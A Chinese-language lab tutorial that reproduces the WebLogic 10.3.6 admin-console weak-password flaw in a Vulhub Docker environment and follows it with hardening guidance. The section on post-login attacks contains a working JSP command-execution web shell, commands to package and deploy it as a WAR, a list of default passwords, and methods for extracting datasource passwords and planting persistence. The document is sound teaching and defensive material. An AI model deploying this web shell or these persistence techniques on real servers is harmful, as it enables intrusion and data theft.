1. 项目概述从一次内部安全演练说起去年我们团队在一次针对内部老旧系统的安全评估中发现了一台仍在运行的WebLogic 10.3.6服务器。出于职业习惯我尝试用几个常见的弱密码组合去碰碰运气结果竟然真的通过weblogic/Oracle123这个组合成功登录了管理控制台。那一刻后背瞬间冒出一层冷汗——这可不是什么好消息。一个拥有完全控制权的管理后台如果因为一个简单的弱口令而沦陷意味着整个应用服务器、部署在上面的所有业务系统、乃至与之相连的后端数据库都可能面临被“一锅端”的风险。这次经历让我意识到尽管“弱密码”听起来是个老掉牙的问题但在实际的企业环境中尤其是历史遗留系统里它依然是最普遍、危害也最直接的安全漏洞之一。因此我决定结合vulhub这个极佳的漏洞复现与学习环境完整地走一遍WebLogic管理控制台弱密码漏洞的复现流程。这不仅仅是为了演示“如何利用”更重要的是我希望通过拆解其背后的认证原理、手把手搭建一个安全的用于学习的实验环境、并深入探讨攻击者可能进行的后续操作以及防御者该如何有效布防来为大家呈现一个立体、完整的攻防视角。无论你是刚入门的安全爱好者想通过动手实践理解漏洞原理还是运维工程师希望检查并加固自己管理的WebLogic服务器或者是开发人员希望从攻击面理解配置安全的重要性这篇内容都将提供直接的参考。我们将从漏洞的本质讲起在虚拟机里快速拉起一个存在弱密码的WebLogic环境然后模拟攻击者的思路进行渗透最后再回过头来看看如何从根源上堵住这个缺口。2. 漏洞原理深度剖析不止是“密码太简单”很多人一听到“弱密码漏洞”第一反应就是“密码设得太简单了比如123456”。这没错但这只是表象。要真正理解这个漏洞的严重性我们需要深入到WebLogic的身份认证机制和权限模型中去。2.1 WebLogic认证流程与默认凭据陷阱WebLogic Server的管理控制台通常运行在7001端口路径为/console使用基于表单的认证。当你提交用户名和密码后WebLogic会将其与安全域Security Realm中配置的用户信息进行比对。默认情况下WebLogic使用其内置的“DefaultAuthenticator”和“DefaultIdentityAsserter”。这里存在几个关键的风险点默认安装的默认用户在WebLogic较早版本的安装过程中特别是10.x版本安装程序可能会默认创建一个名为weblogic的管理员用户并设置一个初始密码。如果管理员在安装后没有立即修改这个密码或者为了方便记忆将其改为weblogic123、password、Oracle123等常见弱密码那么风险就产生了。认证过程无额外防护管理控制台的登录接口通常没有强制启用账户锁定策略失败次数限制、没有强制要求双因素认证、也没有对登录请求来源IP做严格限制。这使得攻击者可以低成本、高效率地进行暴力破解或密码喷洒攻击。权限过高weblogic用户通常是Admin角色拥有对WebLogic域的完全控制权。这意味着攻击者一旦登录可以执行以下操作远不止“看看而已”部署/反部署应用上传恶意的WAR/EAR包例如一个JSP木马从而在服务器上获得命令执行能力。修改服务器配置包括JVM参数、数据源、安全策略等可能直接导致服务器宕机或引入新的安全风险。查看加密凭据WebLogic会加密存储数据源密码等敏感信息但管理员控制台提供了查看明文密码的功能需要提供主密钥但如果攻击者就是管理员这不成问题。启动/停止服务器与集群直接造成业务中断。注意弱密码问题之所以在WebLogic上尤为突出部分原因在于其早期版本在企业和政府单位中应用极广很多系统作为核心中间件一运行就是数年甚至十年期间运维人员更迭最初的安装密码可能早已被遗忘或从未更改形成了“沉睡的巨兽”。2.2 弱密码的常见形态与攻击者视角从攻击者的角度看他们不会只尝试“123456”。一份高效的弱密码字典通常会包含以下几类组合默认型weblogic/weblogic,admin/admin,system/password。公司/产品相关型weblogic/Oracle123,weblogic/weblogic123,admin/WebLogic!#。简单变形与规律型Weblogic2023,Admin123!,weblogic1,weblogic2...通用弱口令password,123456,qwerty,admin123等及其大小写变种。攻击工具如Hydra, Medusa, Burp Suite的Intruder模块可以自动化地使用这些字典进行登录尝试。由于WebLogic管理控制台登录失败的回显通常是固定的例如“登录失败请重试”而成功登录则会跳转到/console/console.portal这使得自动化判断成功率变得非常简单。3. 实验环境搭建用Vulhub快速构建靶场理论讲得再多不如亲手操作一遍。为了安全、合法地复现这个漏洞我们绝对不可以在公网或他人的系统上进行测试。最佳实践就是使用Vulhub在本地虚拟机中搭建一个隔离的靶场环境。3.1 Vulhub与Docker环境准备Vulhub是一个基于Docker的漏洞环境集合它为我们预配置了各种存在已知漏洞的软件及其依赖一键即可启动极大地简化了环境搭建的复杂度。步骤1基础系统与Docker安装我选择在Ubuntu 22.04 LTS的虚拟机中进行操作。首先更新系统并安装Docker及其工具集。# 更新软件包索引 sudo apt-get update # 安装必要的依赖允许apt通过HTTPS使用仓库 sudo apt-get install -y apt-transport-https ca-certificates curl software-properties-common # 添加Docker官方GPG密钥 curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg # 设置稳定版Docker仓库 echo deb [arch$(dpkg --print-architecture) signed-by/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable | sudo tee /etc/apt/sources.list.d/docker.list /dev/null # 再次更新并安装Docker引擎 sudo apt-get update sudo apt-get install -y docker-ce docker-ce-cli containerd.io # 验证Docker安装运行hello-world镜像 sudo docker run hello-world如果看到“Hello from Docker!”的提示说明安装成功。为了避免每次使用docker命令都加sudo可以将当前用户加入docker组操作后需要退出终端重新登录生效sudo usermod -aG docker $USER步骤2获取Vulhub项目直接从GitHub上克隆Vulhub仓库。# 安装Git如果尚未安装 sudo apt-get install -y git # 克隆Vulhub项目 git clone https://github.com/vulhub/vulhub.git cd vulhub现在所有漏洞环境都已经在你的vulhub目录下了。3.2 启动WebLogic弱密码漏洞环境Vulhub中恰好有我们需要的环境位于weblogic/weak_password目录下。# 进入目标漏洞环境目录 cd weblogic/weak_password # 使用docker-compose一键构建并启动环境 sudo docker-compose up -d-d参数表示在后台运行。执行这个命令后Docker会执行以下操作从Docker Hub拉取预制的WebLogic镜像通常是包含一个存在弱密码的WebLogic 10.3.6域。根据docker-compose.yml配置创建并启动容器将容器的7001端口映射到宿主机的7001端口。你可以使用以下命令查看容器是否正常运行sudo docker-compose ps如果看到状态State为Up说明环境已经就绪。关键点解析这个靶场环境的核心在于其Dockerfile和启动脚本。它模拟了一个典型的、未做安全加固的WebLogic安装默认的管理员用户weblogic被设置了一个弱密码通常是Oracle123。这为我们提供了一个绝对合法的“攻击目标”。实操心得在运行docker-compose up -d时如果遇到端口冲突比如你本机的7001端口已被占用可以修改当前目录下的docker-compose.yml文件将ports映射中的主机端口如7001:7001改为其他未被占用的端口例如8080:7001。4. 漏洞复现与攻击链演示环境启动后打开你的浏览器访问http://你的虚拟机IP:7001/console。你应该能看到WebLogic管理控制台的登录界面。我们的“攻击”就此开始。4.1 手动尝试与登录首先我们尝试最经典的弱密码组合用户名weblogic密码weblogic。点击登录大概率会失败。然后我们尝试Vulhub环境预设的密码Oracle123。登录成功浏览器会跳转到管理控制台的主页。至此漏洞复现的最核心一步已经完成——我们利用弱密码获得了系统最高管理权限。但这仅仅是开始。一个真实的攻击者绝不会在登录后就停下。让我们以攻击者的视角探索登录后可以做什么从而理解这个漏洞的真实危害。4.2 攻击路径一部署WebShell获取服务器权限这是最常见、最直接的后续攻击手段。攻击者目标是获得在WebLogic服务器所在操作系统上执行命令的能力。步骤1准备JSP WebShell创建一个简单的JSP文件内容如下将其保存为cmd.jsp。这个JSP页面会接收一个名为cmd的参数并在服务器上执行它。% page importjava.util.*,java.io.*% % if (request.getParameter(cmd) ! null) { Process p Runtime.getRuntime().exec(request.getParameter(cmd)); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } } %步骤2将WebShell打包成WAR在Linux环境下可以使用以下命令快速打包# 创建一个临时目录结构 mkdir -p shell/WEB-INF # 将上面的JSP代码写入文件 cat shell/cmd.jsp EOF % page importjava.util.*,java.io.*% % if (request.getParameter(cmd) ! null) { Process p Runtime.getRuntime().exec(request.getParameter(cmd)); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while ( disr ! null ) { out.println(disr); disr dis.readLine(); } } % EOF # 创建一个最简单的web.xml虽然不是必须但更规范 echo ?xml version1.0?web-app/web-app shell/WEB-INF/web.xml # 进入目录并打包 cd shell jar -cvf ../cmd.war * cd ..现在你得到了一个cmd.war文件。步骤3通过管理控制台上传并部署在控制台左侧域结构树中点击环境-服务器-AdminServer。在右侧切换到部署选项卡。点击安装按钮。在“路径”选择中点击“上传文件”选择你本地生成的cmd.war文件然后点击下一步。选择“将此部署安装为应用程序”继续下一步。在后续的设置中如名称、目标全部保持默认即可一路下一步最后点击完成。回到部署列表勾选你刚上传的cmd应用点击启动-为所有请求提供服务。步骤4访问WebShell执行命令部署成功后你的WebShell访问地址通常是http://你的虚拟机IP:7001/cmd/cmd.jsp。 访问该URL你会看到一个空白页面因为没传cmd参数。尝试在URL后加上参数http://你的虚拟机IP:7001/cmd/cmd.jsp?cmdid。 如果页面上返回了当前运行WebLogic的Linux用户的uid和gid信息例如uid1000(weblogic) gid1000(weblogic) ...恭喜你你已经成功在目标服务器上执行了系统命令。你可以尝试ls -la,whoami,pwd等命令完全控制这台服务器。注意事项在实际攻击中攻击者可能会部署功能更强大的“冰蝎”、“哥斯拉”等加密WebShell以绕过安全设备的检测。我们这里使用最原始的JSP是为了清晰地展示原理。4.3 攻击路径二窃取数据源配置与数据库密码企业应用的核心是数据。WebLogic中配置的数据源JDBC Connection Pool往往直接连接着核心业务数据库。在控制台左侧点击服务-数据源。你会看到所有已配置的数据源列表。点击任意一个数据源进入配置页面。切换到连接池选项卡这里明文显示了数据库的URL、驱动程序类名。最关键的一步切换到安全选项卡。这里存储着数据库用户名和加密后的密码。虽然密码被加密了但WebLogic提供了一个“揭秘”功能。点击密码输入框旁边的解锁或查看密码按钮不同版本按钮名称可能不同。系统可能会要求你输入WebLogic域的“主密钥”如果配置了的话。但在很多缺乏安全意识的部署中这个主密钥就是默认的或者与管理员密码相同。如果攻击者就是管理员通过弱密码进来的他很可能已经知道或能重置这个主密钥。一旦成功数据库的明文密码就暴露无遗。获得数据库连接信息后攻击者可以直接使用sqlplus、mysql等客户端连接数据库进行数据窃取、篡改甚至删除。4.4 攻击路径三修改配置实现持久化与权限维持一个高级的攻击者不会满足于一次性的访问。他会想办法留下后门确保即使弱密码被修改他依然能回来。创建后门管理用户在控制台进入安全领域-myrealm-用户和组。点击新建创建一个新的用户并赋予其Admin角色。这样即使原来的weblogic密码被修改攻击者依然可以用自己创建的用户登录。部署定时任务或启动脚本通过已获得的WebShell攻击者可以修改服务器的crontab或者向/etc/rc.local、WebLogic的启动脚本startWebLogic.sh中注入恶意命令确保系统重启后后门依然生效。修改JVM参数植入内存马在服务器-AdminServer-配置-服务器启动中可以修改参数。攻击者可以添加诸如-javaagent:参数来加载一个恶意的Java Agent Jar包这个Jar包可以在WebLogic运行时动态修改类字节码植入一个无法通过删除文件清除的“内存WebShell”这种后门更加隐蔽和顽固。5. 防御策略与加固指南复现攻击是为了更好地防御。针对WebLogic管理控制台弱密码漏洞防御必须是多层次、纵深式的。5.1 强密码策略与账户管理这是最根本、最有效的措施。强制使用强密码在WebLogic控制台的安全领域-myrealm-提供程序-DefaultAuthenticator-配置中启用并配置密码策略。最小密码长度至少12位。必须包含数字、必须包含字母、必须包含非字母数字字符特殊字符全部勾选。密码必须与用户名或反向用户名不同勾选。防止密码重用设置历史密码记录例如禁止使用最近用过的10个密码。重命名默认管理员账户将默认的weblogic管理员用户名修改为一个不易猜测的名称。启用账户锁定在DefaultAuthenticator配置中设置锁定阈值例如5次失败尝试和锁定持续时间例如30分钟。这能有效抵御暴力破解。遵循最小权限原则非必要不给Admin权限。为不同的管理员创建不同角色的账户例如监控只读账户、部署专用账户等。5.2 网络层访问控制“进不来”是安全的第一道屏障。限制管理控制台访问源IP通过服务器防火墙或WebLogic自身的网络访问控制只允许来自运维堡垒机或特定管理网段的IP地址访问7001端口。可以在WebLogic的服务器-AdminServer-协议-HTTP下配置高级选项中的允许的地址。修改默认端口将管理控制台的默认7001端口改为一个不常见的端口。使用SSL/TLS加密为管理控制台启用HTTPS防止密码在传输过程中被嗅探。同时强制使用TLS 1.2及以上版本禁用不安全的SSL协议和弱加密套件。部署网络防火墙或WAF在WebLogic服务器前端部署防火墙或Web应用防火墙设置针对/console路径的访问频率限制和异常登录行为检测规则。5.3 应用与服务加固定期更新与打补丁关注Oracle官方发布的安全公告及时为WebLogic Server安装最新的CPUCritical Patch Update补丁。许多漏洞利用链的起点是弱密码但后续可能结合其他RCE漏洞补丁能切断后续链条。删除或禁用示例应用WebLogic默认安装的示例应用如wls-wsat历史上曾曝出多个严重漏洞。在生产环境中务必将其删除。安全配置基线核查定期使用安全扫描工具或脚本对照WebLogic安全配置基线进行检查。例如检查是否启用了生产模式、是否关闭了T3/T3s协议的匿名访问等。5.4 监控与审计“看得见”才能发现异常。启用并分析WebLogic日志重点关注AdminServer的日志位于$DOMAIN_HOME/servers/AdminServer/logs/特别是登录成功/失败事件。配置日志级别确保安全相关事件被记录。部署主机安全代理在服务器上安装EDR或主机安全监控软件监控异常进程创建、敏感文件访问、网络外连等行为及时发现WebShell活动。部署SIEM安全信息与事件管理系统集中收集WebLogic日志、防火墙日志、主机日志并建立关联分析规则。例如一条规则可以是“在1分钟内来自同一个IP对/console的登录失败次数超过5次则触发警报”。6. 常见问题与排查技巧实录在实际操作和加固过程中你可能会遇到以下问题Q1使用docker-compose up启动Vulhub环境时提示端口被占用怎么办A1这是最常见的问题。首先用netstat -tlnp | grep :7001Linux或lsof -i :7001Mac查找是哪个进程占用了7001端口并考虑停止它。如果无法停止最简单的办法是修改docker-compose.yml文件将ports: - 7001:7001改为ports: - 8080:7001或任何其他空闲端口然后通过http://IP:8080/console访问。Q2成功登录管理控制台后在部署应用时上传WAR包失败提示“文件不是有效的归档文件”A2这通常是因为WAR包制作不规范。确保你的WAR包是用jar命令或zip命令正确压缩的并且根目录下包含WEB-INF/目录即使里面只有一个简单的web.xml。你可以用jar -tvf your.war命令列出包内文件结构进行检查。一个最简单的有效结构是META-INF/ WEB-INF/ WEB-INF/web.xml your.jspQ3按照加固指南修改了密码策略但发现某些老旧的管理脚本或客户端因密码复杂度提升而连接失败A3这是一个典型的“安全与便利”的权衡。解决方案不是降低密码强度而是使用密钥认证替代密码对于自动化脚本考虑使用WebLogic的Node Manager并以密钥方式进行通信。创建专用服务账户为这些脚本创建一个独立的、具有所需最小权限的用户并针对该用户设置一个符合强密码策略但相对固定的密码仍需定期更换同时严格限制该账户的登录来源IP。使用密码管理工具将密码存储在安全的密码管理工具或HashiCorp Vault中由脚本在运行时动态获取避免硬编码。Q4如何检查我的WebLogic服务器是否存在常见的弱密码A4切勿在生产环境上进行主动爆破测试正确的方法是自查检查你的安装文档、配置文档或密码管理工具确认管理员密码是否已修改为强密码。使用配置扫描工具可以使用像weblogic-scanner这类开源的安全配置核查脚本在隔离的测试环境中运行它通常会包含检查默认口令的功能。日志分析定期审查Access.log和AdminServer.log搜索大量的401/403状态码或登录失败记录这可能是外部攻击者正在尝试弱密码的迹象。Q5内存马Java Agent注入听起来很可怕如何检测和防御A5内存马的确隐蔽。防御需要结合多种手段预防严格遵循上述加固指南尤其是强密码和网络ACL让攻击者无法登录上传恶意Agent。检测检查JVM参数定期检查WebLogic启动脚本startWebLogic.sh和进程参数ps aux | grep java查看是否有可疑的-javaagent:参数。使用RASP在服务器上部署运行时应用自保护产品它可以监控Java类的加载和修改行为及时发现内存马的注入。分析线程堆栈使用jstack命令导出Java进程的线程堆栈搜索是否存在不熟悉的或可疑的类名和处理逻辑。响应一旦怀疑存在内存马最彻底的方法是重启WebLogic服务。在重启前务必确保启动脚本和部署目录中的恶意文件已被清除并修复了导致入侵的漏洞如修改弱密码。整个复现和防御的过程让我深刻体会到安全是一个闭环。从漏洞的原理理解到利用手法的亲身体验最后回归到扎实的防御建设每一步都不可或缺。弱密码这个看似简单的入口背后串联起的是一条从应用层到系统层再到数据层的完整攻击链。对于运维和开发同学来说别再把“修改默认密码”当成一句可有可无的安装提示它应该是上线前必须打勾的第一项安全检查。而对于安全研究者在vulhub这样的安全实验室里不断练习目的不是为了炫技而是为了能更早、更准地在自己守护的系统里发现并修复这些风险。真正的安全就藏在这些基础但至关重要的细节里。
